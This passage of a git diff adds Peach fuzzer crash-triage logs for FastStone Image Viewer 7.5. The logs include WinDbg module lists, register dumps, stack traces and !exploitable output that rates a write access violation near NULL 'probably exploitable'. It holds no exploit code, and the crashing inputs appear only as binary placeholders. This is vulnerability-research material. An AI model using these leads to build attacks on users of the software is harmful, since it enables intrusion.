770b7054 ffffffff 770d62c1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00393000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e071b77 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xCF4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xCF4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(cf4.16f8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ed7b19 edx=00000000 esi=00000000 edi=0fc98fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.61332e+010 -4.0221e+012 -3.27532e+031 -2.90794e+008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00393000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00393000 00964c06 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00393000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22512/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..98ffecb Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..4e4e38d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1C78: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1C78: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1c78.468): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0fc6afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.70224e+023 -4.45512e+010 -2.96433e-017 4.80855e-014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00212000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00212000 2969609d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6294 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00212000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 